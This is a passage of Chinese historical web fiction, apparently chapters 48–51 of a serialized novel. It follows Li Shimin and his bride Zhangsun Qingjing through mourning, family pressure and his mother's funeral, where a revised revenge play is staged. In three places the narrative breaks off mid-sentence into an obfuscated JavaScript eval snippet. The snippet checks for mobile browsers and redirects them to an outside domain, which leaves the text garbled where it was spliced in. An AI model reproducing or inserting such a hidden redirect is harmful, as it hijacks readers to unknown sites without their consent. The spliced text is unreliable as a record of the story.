长孙青璟轻轻捧起李世民从外而内都是凌乱不堪的头颅,将其轻轻置于自己臂弯之间,似乎只有这样才能抚慰他惶恐不宁的内心。李世民突然伸张臂膀紧紧环住妻子的腰肢,任自己在妻子怀中涕泗横流。滚动的稚嫩的喉结、奔突的拉扯的太阳穴与她清晰而坚定的脉搏共振着,引起少女全身不受控制地战栗起来。 几道熟悉的身影出现在她的余光里,长孙青璟一时尴尬无比。她轻轻拍打李世民的后背:“你要不要起来,擦拭一下涕泪?” 少年任性地摇头,哭得比原先更加厉害,双臂也比之前锁得更牢。 “哎!你阿嬭和阿姊们正看着我们——看了很久了。”长孙青璟拽了拽丈夫的肩膀。 李世民一时从迷惘的状态中清醒过来,仓促地跽坐,整理着丧服,一时头晕目眩险些向后仰倒。 长孙青璟伸出两个指头略微撑了他脊背一下,窘涩地垂头,又将一方丝帕抛到他膝头,令他自行擦拭眼泪。 48. 冒犯 年轻的夫妇局促地望着同样尴尬的刘娘子、李琼曦、李陇月。 五个人相互观望,不知如何打破僵局。 刘娘子望着手足无措的李世民与长孙青璟,侧身向两位长姊道:“那我便倚老卖老说上几句,两位娘子乃二郎胞姊。夫人如今不在了,提醒幼弟尽孝守礼,也是应有之义,并无不妥……” 李陇月听罢,偷偷戳了戳李琼曦的肩膀,声音低得几不可闻:“二弟最怕你,你与他说……” “就数你最会装好人!”李琼曦乜了胞妹一眼,无可奈何地抱怨着,“他什么时候怕过我?” 李世民潦草地抹了一下眼眶,恭敬地致意:“阿嬭、三姊、四姊……我已经大好了——多亏了观音婢照顾有加,我们旋即去灵堂守着母亲。” “父亲说不急,你已经几日未合眼了。多歇息片刻。守灵之事自然有诸弟兄姊妹周全。”李陇月有些心疼地说道。 “阿嬭我最好多管闲事。虽说主仆有分,我不该多言,却由不得公子继续任性。公子粒米滴水不进,作践自己身体,也是对夫人不孝!”刘娘子郑重其事地说道,并令婢女取过小案,将羹饭置于案上。“公子自己想好了,是不是继续任性下去,不吃不喝,令夫人在天之灵不安!” 李世民低头不语,思忖着如何向乳母服软。 三位年长之人又是一阵沉默,她们相互顾盼有顷,令年轻的夫妇误以为自己又做了什么失仪的举止,心中惴惴不安。 李琼曦突然开口道:“阿嬭与四妹都是爱惜羽毛之人。看来,这恶人便只能由我来当了!”这话似乎是鼓足了极大的勇气才说出的,与她一贯雷厉风行的做派不符。 她将婢女准备好的茵褥向年少的夫妇二人移近了些许,屏退了除五人之外的闲杂人等,才坐下与李世民夫妇二人平视,继而有些严肃地说道:“两家长辈们唯恐你二人年幼无知,特意嘱我告知,按照丧仪的规矩,哪怕新婚,你二人起居坐卧不可过于亲昵……你们可听得懂我的意思?” “阿姊,其实我们刚才……”长孙青璟单纯地想说清楚刚才只是对一个丧母少年简简单单的抚慰,却深感越描越黑,十分无力,索性闭嘴。 “——我刚才突然想起了和母亲的往事,观音婢只是出于怜惜才安慰我的,没什么龌龊见不得人的!”李世民生怕她三人误会,坦坦荡荡地辩驳。 李琼曦道:“长辈们的意思是按照规矩,你们须得分房而卧。也许对新婚夫妇而言有点不近人情,不过也是人子应有之义。之前忙乱,家人都把这件要紧事忘了,现在想起来,就赶紧过来告知你二人。细细想来,也算不得要太过苛刻,你二人终究还在同一檐下,只是举止切忌浮浪。另外,你两人想要说些体己话时会稍微多些麻烦周折。” “不麻烦。”李世民向乳母刘娘子道,“阿嬭,你差人收拾一下玄霸过去的旧房间,我住那里就很好。往日我回大兴时,也常与玄霸秉烛夜谈,他那屋子与我自己的并无二致,住着也踏实……至于观音婢,她就在此处安住,不必再跑动了。”他以手肘轻触长孙青璟:“这样可妥当,观音婢?” 长孙青璟依旧低头,口中喃喃讷讷:“我全凭两位阿姊安排。也会严守守孝之仪,绝不敢造次。” “你们既然自己都筹划好了,让阿嬭吩咐婢女们照做就是,我与你四姊也就放心了。”李琼曦顺势回头向恭候在侧的刘娘子致意。刘娘子回应了一声,不动声色地将食案又向李世民推近了些许,才退出屏风外。 屏风外果然传来一阵地板响动,想来是有人忙着去收拾新房间。两位阿姊却毫无离开的意思,这反而让长孙青璟惶然不已。 李世民向她使了眼色,示意她一同去准备新房间。谁料李琼曦却窥得二人眼神交接:“且慢——另有一事。” “三姊近日也未休息好?怎生说话跟爬山似的,一山后还拦着一山。”与其说这是李世民的抱怨,毋宁说这是对三姊一反常态的惊讶。 “我好得很,就怕你糊涂。”李琼曦神情严肃。 这位长姊长舒一口气道:“二弟,此处仅剩你的骨肉至亲与——怎么说呢——”她善意地瞥了长孙青璟一眼,努力把一个刻薄露骨的问题变得含蓄内敛些,“这屋里只剩下你的至亲与挚爱,二弟,为了你与阿耶不被奸佞用琐事小节中伤,为了你的经济仕途畅达,阿姊冒昧问你一句话,你可愿意照实回答?” 李世民以为阿姊们认为他将意气用事,以自戕的方式来怀念亡母。接着又是一番是否能陪同父亲去洛阳的说教。 四姊一贯小儿女态,不懂他大志也就罢了,他心中只是腹诽三姊今日怎么变得这般瞧不起人,便不甚在意地回答:“阿姊只管问,我照实答!” “你二人自成婚以来……有没有……”李琼曦嗫嚅着,做贼心虚似地向后瑟缩了秀颀的头颈。 爽飒的国公之女立时显得市井卑琐起来。 “阿姊想问什么?”李世民觉得这情形甚是诡异。这和他料想的阿姊劝他暂时放下伤痛,陪父亲应对皇帝试探的说辞完全不一样。 一直沉默的李陇月突然无奈地望了一眼高处的帷幔,又低头扶额:“你们慢聊,我去看看阿嬭布置得如何?” 三娘反手拽住她的丧服下摆:“不准走,万一如我们所料那么糟糕,你须得留下陪我一起出主意。” 长孙青璟觉得这不痛不快遮遮掩掩的情形甚是恼人,三娘又全然不似平日那般爽飒磊落,心中狐疑,又不便多问。 “三姊,有话直说无妨。就算时皇帝陛下因我才气逼人,此刻要将我扣了去,你也无需吞吞吐吐。” “你脸好大,皇帝就算扣你也不会因你本人有多少值得他嫉妒的才学。” “你说话那么不爽利又是为何?” “那我问你,你和长孙娘子有没有行敦伦之礼?” 这下所有人都听懂了,简直石破天惊! 长孙青璟捂紧了脸庞——母亲高氏可从来没有教过她如何应对这些稀奇古怪的诘问。 李世民张着嘴,吃惊地瞪了三姊半日,才挤出几个字:“我怎么会有你这么覆窠的阿姊!你欺人太甚啊——都把观音婢吓哭了!” 他想安慰在震惊与羞赧双重冲击下无地自容的长孙青璟,不料惊魂未定的小妻子将后背侧向一边,根本无意介入他们兄妹之间不知所谓的问对。 既然已经开口,李琼曦自然不落气势:“只因你脸皮与我一般厚,我才问你啊!难道非逼着温婉的大嫂质问这被我吓哭的可怜孩子不成?” 她瞥了一眼长孙青璟,知她怕羞,心中顿生歉意。但事已至此,也由不得她后退半分。 李琼曦只得强打精神,拿出少女时代威吓年幼弟弟的蛮横架势再次问道:“你脸皮厚,你来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101117|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答我,有没有?” “没有。”李世民恶狠狠地盯着三娘,“你还有什么要问的?” “没有。”剑拔弩张的气氛立时缓和下来。 李琼曦松了一口气,仰面倚在李陇月肩头。 “就数你多嘴。”四娘揉着三娘的太阳穴,又忍不住捶打她的后背,“看你,口无遮拦,把弟弟弟妹都得罪了。” “两位阿姊到底什么意思,想来也不是有心窥探阴私。不妨明示。”李世民从愤懑中警醒过来,危机感重新袭上心头。 他这话正触到长孙青璟心头疑窦。李琼曦爽飒能干,李陇月谨慎周全,皆是襟怀磊落之人。不可能出言如此无礼。 长孙青璟虽然被这突如其来的直白问题击打得晕头转向,却无论如何不敢相信两位长姊是饶舌好事之人。她们如此冒犯自己,定然有着不得已的苦衷。 所以此刻,她觉得也不妨先放下满心的狐疑、羞赧甚至恼怒,听三娘四娘二人将原委细细道来。 长孙青璟将捂紧脸颊的手掌漏出几条缝隙来,偷偷察言观色。眼波流转之时,不慎与李世民关切的目光交接。 她的耳根发烫,心中如小鹿乱撞,便赶紧将双手覆在膝上,手指不自觉地揉搓着,两眼直视着地板。 李陇月近前柔声道:“此处没有外人,我便替长辈与三姊将话再挑明一点。”她绕过李琼曦,膝行至长孙青璟跟前,郑重坐下:“我二人无状,令妹妹受惊了。” 她又拉起长孙青璟的双手,拢在自己手中道:“父亲如今的处境,想必妹妹也已经很清楚。父亲的处境,也是二郎诸弟兄的处境——一念差池,即入地狱。” 长孙青璟直视李陇月道:“阿姊但说无妨,我不作小儿女忸怩之态。” 李陇月点头道:“……眼见天下扰攘,正是父亲大展宏图之际,此时我唐国府之主切不可被人抓住治家不严的小节在陛下面前进谗言,致使唾手可得的前程毁于一旦……” 李陇月向后瞥了假寐的李琼曦一眼:“喂,醒醒,莫装睡!我没说错吧!” “没说错,条分缕析,比我强……你说话斯文,接着跟他二人把话说清楚。”李琼曦揉了一下眼睛道。 李陇月有些气恼:“我脑子里乱哄哄的,说不下去了。你一向能言善辩,你跟他们解释!” 在二弟出生之前,李陇月一直是家中六个孩子中最受呵护的一个,虽说生性伶俐,却被宠得娇娇柔柔,有时又脑子不免懒怠,遇事迟疑不决,总渴求父母兄姊保护。 “还真是不经夸,老毛病又犯了。”李琼曦爱怜又无奈捏捏四妹的肩膀,然后移近另外二人道,“国朝皇帝打压大臣的手段可谓五花八门,如怨望,如巫蛊,如妾生子,如谶纬……皇帝的爪牙们整治勋贵的方法可谓五花八门,没有他们抓不到的把柄……长孙娘子——青璟方才与父兄说决意与二弟一道去洛阳。这固然很令人慨叹你的勇气,但是长辈女眷们突然提及一件要紧之事,我们不得不防。” “这和我们的私密之事有何干系?”长孙青璟腹诽道。 “原来观音婢不是试探我,而是自己向父亲请缨说服我……”李世民对她心生钦佩,“她能急我家人所急,也无惧我偏执的性子,倒是勇气可嘉……” 两个人顿时觉得和自己幼稚的谋划比起来,现实更加诡谲错综。 不,更加有趣。 49. 隐忧 长孙青璟对她被盘诘的私密之事有可能皇帝整治臣子的托辞一事震惊不已。 李世民对长孙青璟向父亲承诺劝说自己同去洛阳并愿意追随一事愕然无比。 李琼曦若有所思地接着说道:“洛阳近来不比大兴。大兴,几乎已经成为名存实亡的西京。而洛阳,则是天下真正中枢所在。彼处波谲云诡,并非每一位勋贵皆与我家交厚,圣上又是反复无常的狐疑脾性。东都人多嘴杂,倘若————我就实话实说了,倘若——青璟有孕在身被人觉察,又经由奸佞小人添油加醋,说成孝期违背伦常所致,那我阖府上下岂不百口莫辩!” 她望着愣怔的少年夫妇,倚老卖老地掸了掸麻衣上零星的香灰:“你二人虽说天性颖慧,阅历却是尚浅,哪里料得到‘闺门失仪’也能被拿来做文章。” 长孙青璟听罢倒抽一口冷气,只是紧紧攥住四娘护住她的双手。想起高士廉被贬谪一事,她不禁心有戚戚焉:“三姊四姊说得是,闺门失仪我固然不懂,但是我深知我舅父无非与斛斯政有点头之交,便被放逐至朱鸢,至今尚无音讯……” 大家纷纷摇头叹息。 李世民恍然大悟道:“我听懂了。阿姊的意思是说,父亲此刻被授予右骁卫将军之职连同之后的慰抚大使之职皆是处于皇帝无人可用的权宜之计。倘若父亲剿匪顺利、声望日隆,导致陛下再次猜忌(其实我都不记得父亲被皇帝弃置多少次了),陛下决计是不想也不愿弄明白我是在何种情形之下与青璟成亲的,只需找个正中下怀的把柄,再坐实父亲的失教之罪,顺势夺爵免官,更我全族在天下人面前抬不起头。真是算无遗策呢!” “想不到你除了脸皮厚随我,脑子好使也随我。真是一点就通。你设想的正是我们所担心不已的。本来想着事关新妇,我们这些出嫁的女儿不方便多问;后来又想借父亲之口以举办法事、追荐冥福为由留青璟在大兴协助大嫂;我们甚至想过万一青璟真的怀有身孕,索性便以祈福为名暂避武功别馆,躲开那些可能中伤李家的耳目。但东都的任命来得急迫,父亲与你前途未卜,青璟又须臾不离你左右,致使我连与你私下谈及此事的机会也没有……啊……青璟,我不是这个意思!” 李琼曦有些尴尬地望着局促不安、朱唇微启意欲辩解或致歉的长孙青璟:“我心直口快,一时也不知道该怎么说,你不要介怀。你一直照顾着我们这位倔强的公子,令他不至于做出太出格的事情,我们都很感怀。是阿姊忍不住多嘴,逾矩了。好在有惊无险……” 长孙青璟惊异地仰头,觉得这世道诡谲得出乎她想象,竟连孝道也可以被做成大文章并以此为借口毁灭一个令皇帝猜忌的、不快的家族。 先前的窘迫倒也减轻了不少,她陷入了新的沉思——此次洛阳之行有异于她出嫁前任何一次随同父亲、舅父的或短或长的旅程,并非作为旁观者穿梭于金碧辉煌的东都,更多的是被赤裸着投入血腥的角抵场。简直步步为营、如履薄冰。 “是啊——她帮了我很多,也点醒了我很多次。”李世民感慨万千地瞥了一眼长孙青璟的侧脸,可惜长孙青璟并未接收到这份柔情。他只得继续回头向两位阿姊坦诚心路:“你们说得对,我有时确实倔强过头。母亲新丧,我便不惜自戕,全然不顾她临终叮嘱;醒来后第一牵挂的也是独自一人躲进倚庐陪伴母亲,又差点弃即将涉险的父亲于不顾。幸有贤妻慰勉劝解,才不至于酿成大错——” “其实二郎心中也早有主张了。只不过一时伤心得糊涂了。若缓上一缓也未必不能自己醒悟过来。”长孙青璟唯恐李世民听到夸赞得意过头,只是面向着两位阿姊,用最散淡的语调说着称颂嘉许之词。 “我原本想着此去最坏的情况不过与上次父亲在杨玄感之乱后慰抚陇右类似。大不了我在皇帝身边留一段时间。若是情势有变,最多不过是逃出洛阳城时遇到一些麻烦。运气要是不错的话,有人替我和父亲美言几句,皇帝心情大好,松松爽爽许我回父亲身边,也未可知呢。谁料还有这杀人诛心的一招。”李世民作了一揖,“多谢二位阿姊提点。观音婢已决意与我同去洛阳,此事就此定下,不再变更。我们去洛阳后定然谨言慎行,不令父母蒙羞。对吧,观音婢?”他壮着胆子攥住长孙青璟的手背,长孙青璟倒也没有在两位阿姊面前刻意矫情地躲闪,只是微嗔地瞪了一眼。 二位阿姊告退后,年轻的夫妇长吁胸中浊气,相对无言。两人偶尔眼神交接,却又感到窘迫无比。中宵将近,夜露深重,长孙青璟不时对着烘瓶搓手。 李世民却早已麻木得不知寒凉,他略微挪动双膝,顿觉天旋地转,眼冒金星,慌乱中他抓住长孙青璟瘦削的肩,恳求道:“你扶我去灵堂,我还是想陪陪母亲。” 长孙青璟执起他枯瘠的指掌,合拢在自己尚有余温的手心中:“你的手好冷!一点生气也没有。” 说罢,她将食案推到丈夫身前,食案的边缘有力度地触着了李世民的躯干。 米水未进的郎君也感觉到了小妻子深藏的愠怒。长孙青璟打开食盒,羹饭尚热:“你听刘娘子的话,勿令母亲在天之灵伤心。” 她与李世民同侧坐定,将汤匙塞进他枯瘦冰冷的手中。 李世民低头,沉默不语,将汤匙伸进偷放了肉粒的羹中转了几圈,突然抬头,认真地望着长孙青璟:“观音婢,我前路难测,吉凶未卜,你可是真心愿意陪我同去洛阳?” 少年亟需确认自己是否真的收获了一份生死相随承诺,“如果你害怕的话,留在长安等我好消息就是了,我们还像前几个月一样用白鹞传书便是……你看怎样?” “李世民,你要是再问,我就真的生气了!”长孙青璟蹙眉正色道。 李世民愣怔起来,开始辨别这到底是妻子在与自己撒娇还是真的气恼。 “你看不起谁呢?”长孙青璟愤愤然地拿着一支筷子在案几的一角甩动,不慎发出响亮的撞击声。 她的两腮并不可能在此时涂抹胭脂,却布满彤云,不知是因羞愤还是炭火正旺的烘瓶抑或单纯地在丧服过于惨白的颜色映衬所导致,令人觉得有一种可爱的生气。 李世民想起招魂时母亲的艳色裙摆,想起母亲去世那个黄昏天际最后的狮状晚霞,想起母亲心中浓稠炽烈的复仇野火。 他突然不用回想,因为那些时刻提醒他继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“观音婢,你骗了我,你并没有偷听长辈们的议论……”李世民狡黠地望着眼前这只温柔聪敏的小狐狸。 长孙青璟不置可否地点头:“骗了你一点——事情说得越神秘惊悚,你才越听劝不是吗?骗了你,那又如何?” “你自告奋勇向父亲请命,又开诚布公来劝我,是我家门之幸……我感激不尽。”李世民想起了母亲的方比,长孙青璟是一颗有趣的随侯珠,一块未经雕琢已夺人眼球的荆山玉。 “你以后可以直说的。”他将一部分炽烈的、不合时宜的情愫暂且深藏起来,留待日后再与她详说。 长孙青璟却并没有再理睬这个话题,她的脑海中盘算着眼下更重要的事情。 “对了,大哥大嫂让我问你,母亲下葬之日演哪一出戏?” ——照着不知何时而起的习俗,死者在进入幽冥世界之前将与亲人共享自己身前最爱的歌舞戏。 “拨头。”李世民不假思索地问道。 “好,拨头。改一下也不是不行。” 他们的心里,有一片恣肆蔓延的苜蓿地。 50. 薤露 发引之日终究到来。 坐夜之后的清晨,窦氏诸子用新帚扫去棺椁上所谓浮土,在棺角垫上铜钱“掀棺”,紧接着便行辞灵礼。 棺柩被抬离正堂西阶。唐国公与夫人诸子手持纸幡前行,李渊与替代鸿胪卿行监护葬礼之事的鸿胪丞在前,唐国府众儿媳,女儿及诸晚辈、群从、亲友跟随鱼贯而行,一时号哭震天。 当棺椁被众人置于油幰朱网、两箱画龙的灵车之上时,窦夫人的表妹宇文氏突然越过血缘更为亲近的窦氏诸亲眷,推开窦氏诸位子女,阻挡灵车去路。 窦夫人与宇文夫人同在周宫之中长大,情比同胞姊妹,而今窦夫人撇下这位半生战战兢兢的前朝公主而去,不免令宇文氏顿生兔死狐悲之感。 她恸哭气绝,几乎以头抢地。阎氏兄弟耗尽浑身力气才将母亲扶起,磕磕绊绊地重回随行队伍之中。 “薤上露,何易晞。露晞明朝更复落,人死一去何时归。”从凶肆中请来的讴者开始踏歌而吟咏这首汉朝无名氏的《薤露》挽歌。 舞姿缓慢,容若不胜;歌声清怨,响振林木。 李世民与李建成等兄弟四人脑海中还回想着彻夜的诵经之声。 两种调子,一种存于脑畔,一种发于身侧,相呼应和,回环往复,令人心中发颤发空。 他们带领着五十位挽郎执起绋绳,牵引着灵车缓缓前往墓地。 灵车幰竿旗脚下的六道旒苏微颤,似乎也凝滞在寒冷的空气中。 白色的队伍不舍地将新丧的贵妇人送往幽冥之地。 人命奄忽,瞬息幻灭。 六岁的谏言者、大周武皇帝最爱重的养女、被新朝皇帝逐回亲生父母身边后立誓为舅氏复仇的少女、贵公子争相追逐的才貌双全的贵女、新朝皇后最疼爱的外甥的唐国公的夫人,如今撒手人寰,如白薤之上的凝露,轻易晞灭而无法复落。 长孙青璟与独孤璀相互扶持,徐行于棺椁一侧。两人和着《薤露歌》,哽咽着,哼唱着不成调的挽歌。 高氏与长孙无忌也身着緦麻,默默地走在出殡队伍的后端,以示对逝者的尊敬。 高氏的眼泪是真诚的。窦夫人出乎意料地同意了一桩意气用事的婚事,接受儿子在高家处于嫌隙之时迎娶其养女,并发自内心地喜爱这个由爱子亲自挑选的女孩,这一切远远高于高氏的预期。 长孙无忌的眼泪也是真挚的。窦夫人不但是挚友崇敬的母亲,更是将爱子托付与他的、视他为知己的明睿之人。 依照时俗,凶肆也根据主人的需要准备了路祭的百戏。 优伶们一般不会在葬礼上刻意表演一个复仇故事,更加不乐意遂着主人的性子肆意篡改剧情。但是唐国公的次媳给的金银五铢太多,又亲自写下新的脚本,而不是对他们这些贱籍之人一味高高在上、指手画脚。 这脚本又恰恰将优伶们所有才艺均调动出来,故而排演之时也不得不根据这新写的脚本夸一句唐国夫人生前必有男儿之志,儿媳孝顺又才华横溢,李家惜才爱才。 优伶们便恨不得将平生器乐、身姿唱腔、舞蹈才能全部展现给送葬的主宾。 随着送葬队伍表演歌舞戏想必不符合周礼,却符合时人希冀挚爱的亲人享受世俗最后快乐的愿望。 至亲们原本无意沿途观赏一部烂熟于心的歌舞戏。只是眼前这出《拨头》令人有些失神。 这本是一个来自西域或者天竺的故事。有人被虎所害,其子不惜跋山涉水寻得凶兽,杀之为父报仇。 创作这个故事的外国人未曾想到,这故事极其符合中夏男女老少快意恩仇,忠孝节义的胃口,故而在两京之间长盛不衰。 李家路祭的这出歌舞戏却与大家耳熟能详的不同。应该是被刻意改动过了。 为了避家讳,戏中最为凶恶的老虎被改为另一种冷血的凶兽——也许,类似鼍龙。 这一个改动是出席葬礼的所有人都能理解的。一切合情合理,无需旁人置喙。 挽绋的李世民却感觉到父亲的异常。饰演鼍龙的优伶将整张面具朝向送葬人群时,唐国公不同寻常地瑟缩了一下,后背撞上了次子的肩头。 “阿耶小心!”李世民抽出一只手稳住父亲颤抖的后背,“大人太过操劳了!我去叫马车!” “不必了。刚才一阵眼花,险些将鼍龙认作故人。毘提诃,是谁命人将大虫换成了鼍龙?我本以为会换成豹或狼。这条鼍龙,实在太过——太过眼熟,也太过招摇了。” 李世民疑惑地望着父亲,终于弄明白父亲的失态不是宿伴的疲劳所致,而是不可言说的恐惧所致!——少年深感父亲的恐惧来得奇怪,那张鳄鱼脸甚是夸张,棱角不甚分明,短吻类乎平日里骨骼惊奇的丑人,说不上招摇,甚至有些滑稽。 它是如何恫吓到见多识广的李渊的? 披麻戴孝,号哭顿足的发引队伍继续前行,《薤露》《山鹧鸪》的哀伤调子交替吟咏,被有心“篡改”的《拨头》剧情继续发展着。 戏中进山的路人在一番挣扎之后终于被鼍龙咬死。前来围观的路人本以为这位伶人躺下后戏份已尽。谁料此人却偷师过祆教幻术,将被鼍龙啃食的心肝肠肺一一呈现于路祭之中,情状惨烈令人不忍卒看。甚至有胆小者捂住眼睛失声惊叫,仓皇逃离人群。胆大之人默念着“一切都是假的”等待着复仇之子出场。 一位十七八岁的女伶人,穿着素衣,梳着女童模样的垂髫,在戏中死去的父亲身边哀哀啼哭。 送葬众人偶然冷眼旁观《拨头》剧情的进展,对此无甚兴趣;而看热闹的路人则专注无比,此时一齐发出了“啊”的惊叫。 原本歌舞戏里复仇的儿子变成了女儿! 爱之者谓之耳目一新,憎之者责之离经叛道。 无论如何,大家有意无意间都必须与唐国夫人的亡灵一同享用这一部或精彩纷呈或众说纷纭的复仇歌舞大戏。 而路祭时所演之戏通常是死者生前的最爱。谁都不能对亡者的特殊癖好、小小任性表现出不满。 戏中女童恸哭气绝之时,白色的送葬队伍中却传来惊呼。 “不好,宇文夫人昏厥过去了。” “附近可有郎中?” “阿娘,阿娘!” “阎公子勿忧,夫人只是悲痛过度,休息片刻便无大碍。” 一片混乱之中,独孤璀拽着长孙青璟顾看宇文氏。这位倔强的前朝公主刚刚从昏厥中转醒过来,却马上拒绝了几位晚辈留她在原地休息的建议,坚持送完表姊最后一程。 宇文氏几乎将指甲陷入两个儿子的衣褶下、肌肤中,才勉强将自己从地上拖拽起身。她咬牙切齿地望向戏中哭泣的女童道:“这出《拨头》甚好,我要陪着阿姊看完。” 戏中女童一番号哭之后,解下父亲尸体上的佩刀放在自己身侧。拜过三次之后,女童又将满头披发束成少年的椎髻,便怀抱父亲的佩刀,开始寻找鼍龙为父报仇雪恨。 戏者以舞姿与百戏巧技模拟出跋山涉水的情状。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113789|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山水有八折,歌舞有八叠。八段相似的音乐层层渲染,八段相似的舞蹈步步推进。 在回环往复,跌宕有致的路祭演出中。戏者与窦夫人的棺椁同时到达了高阳之原的墓地。 女扮男装的少女戏者手起刀落,砍下鼍龙的头颅——当然,戏者只是手执鼍龙面具代表胜利。 沉重的棺椁被推入倾斜的墓道,亲人们痛哭流涕,与这个曾经炽烈的、爽飒的、蓬勃的灵魂做着最后的告别。 “薤上露,何易晞。露晞明朝更复落,人死一去何时归。”挽歌在寒风中变了调子,沧沧凉凉,咏叹着生命的璀璨与易逝。 漫天的纸钱在墓地上空升腾,旋转,散落,就像亲人们纷乱怅惘的心绪。 长孙青璟将伏地不起的丈夫勉力扶起。感觉他就像一株枯瘠又挺立的乔木。 《拨头》戏也早已剧终,扮演复仇孝女的戏者也随着凶肆中其他优伶一同谢幕,在祭奠人群中向着故去的窦夫人致意。 大概是演第八叠时太过入戏,与鼍龙相持不下时,她身上那件宽大的素衣居然滑落,来不及捡拾,漫卷的狂风顺势将这剧中的丧服挂罥于松林高处。 戏者素衣下的红衣显露出来,在一片白色之中分外刺眼。她一手握刀,一手提着鼍龙的面具,没有掸去发梢与肩头的纸钱。 女伶还沉浸在蓬勃有趣的角色中无法自拔,脸上带着纯真的大仇得报的快慰。 这个野草一般疯狂又凌厉的角色令李世民有一阵的恍惚。他又想起了为母亲招魂的故衣,狮状的彤云,甚至长孙青璟脸颊上异乎寻常的红晕。往事在心中喷薄而出。他一时悲不自胜,又一次掩面唏嘘。 “你好好活着,母亲才安心。”长孙青璟含着泪,搀扶着这个倔强的大男孩,为他整理凌乱的鬓发,“让她安心去吧。” 两人只是望着远处红衣戏者恭敬地向李家的某位童仆行礼,然后局促不安地将鼍龙面具奉与童仆。 李渊将失神的子女们召向身边。 “我即刻前往东都赴任,不再延宕。毘提诃夫妇与我同行,他二人便在东都守制。毗沙门,家中诸事还是托付与你。” 见到鸿胪丞、司仪丞与窦氏诸舅相谈甚欢,并没有注意到今天路祭歌舞的异常,李渊轻声问及两个年长的儿子:“这出《拨头》是谁的主意?” “是我,父亲。”李世民抢先一步说道。他害怕父亲追问起篡改剧情的琐事,索性把长孙青璟安排改编歌舞一事也揽到自己身上。 “我刚才确实想起了一些往事,不过都过去了。”李渊望着丧盆里的舔舐纸钱的火苗,若有所思地说道,“我想,你母亲应该会很喜爱这场不同凡俗的《拨头》。” 他本想说除了鼍龙,红衣女郎也勾起了他的回忆——一些十六七岁时候的荒唐事。 但那女孩不在戏中时的样子很是拘谨与手足无措,全然不是他记忆里妻子明艳洒脱的神采,所以也就懒得向儿子再解释自己方才瞬间的惊恐与异样。 长孙青璟拿起那个兼具凶恶与滑稽的鼍龙面具,递给李渊,心中惴惴不安。 “阿璀,重赏戏者们金银。告诉他们在别处不准演少女杀死鼍龙的歌舞戏。这场戏只有唐国夫人才有资格看。”李渊神色凝重地叮嘱长媳独孤璀。 他随即接过鼍龙面具,郑重地投入丧盆。 盆中将烬的余火突然得到了意外的滋养,忽地升腾起来。鼍龙的脸闪出狰狞的可怖的光亮,随即黯淡下来,化作一堆灰烬,随风而逝。 51. 夷羊 高夫人与长孙无忌上前,与长孙青璟话别。 “你好生在洛阳守制,照顾丈夫,孝顺国公。你舅父一有消息,我就送信到东都。” 高夫人与女儿相持泣涕,一边说着不要女儿担心的安慰之辞,一边又攥着女儿的手不放。 “天哪,我的观音婢何时距离我这么远过。”高氏悲从中来。 长孙无忌上前劝慰道:“阿娘,时辰不早了。勿令李家的车队过长等候。” 高夫人这才松手,兀自哭泣。 “我方才只顾伤心,全然不记得来时的路。”长孙青璟抹了一下红肿的眼眶问道,“兄长,父亲的墓在哪里?我记得距离此处不远。” 长孙无忌指向地平线以外的方位,那里只见连天衰草与无边松柏,寡淡的日光也照不暖这大片坟茔聚集的荒原。 长孙青璟却不甚介意,敛衽而拜,口中默念着与亡父的告别之辞。 “高夫人,青璟是个聪慧的孩子。”李渊在与送葬亲友一一寒暄作别的间隙和高氏简短相见,“她的劝诫,世民无有不听从的;葬礼上迎来送往也十分妥帖。只可惜与荆妻差点缘分。” “窦夫人前日的书信,唐公今日的谬赞,令我受宠若惊。若这孩子的父亲泉下有知,也定然欣慰幼女终究觅得良人。”其实高氏的话说了一半又藏了一半。 她有点感慨女儿命运多舛,幼年与生父死别,少年与养父生离,又即将随着丈夫跨入东都这个惨绝人寰的绞杀角抵场。杨玄感、斛斯政两案牵连之广仍旧令她惊惧不已。 依照高氏的本意,她决计不愿长孙青璟再去蹚洛阳这道浑水。但是她也未作劝告。 因为她深知女儿为人,长孙青璟对于在黑暗中对她施以援手,将她拖出泥淖的少年及他身后的家族,应当是愿意杀身以报的。 李渊同样也心照不宣地隐去了自己的忧虑。 他只觉得眼前少女有着异乎寻常的聪颖以及心机。 他的目光在儿子与儿媳之间游移着,思忖着到底是谁构思出这一场惊心动魄的《拨头》。 儿子一贯敢作敢当,这演绎复仇歌舞戏的主意是他出的,应当是无疑了。 但是儿子心思坦率,除了避讳,应当不会想出更多篡改原剧的主张。 而擅改原戏的主意更不像循规蹈矩的建成夫妇所为——他们根本就不会在路祭时选《拨头》。 那么答案就显而易见了。这个新的家庭成员或是善意、或是促狭地准备了一场令人猝不及防的、令他左右为难的复仇歌舞。 唐国公夫妇二人本来是想让长孙青璟对李世民略加约束的,可不是让她在李世民闯祸时递刀子的。 但是窦抗做媒时明明担保这女孩继承了渤海高氏的清秀美貌与前任右骁卫将军的通达聪明! 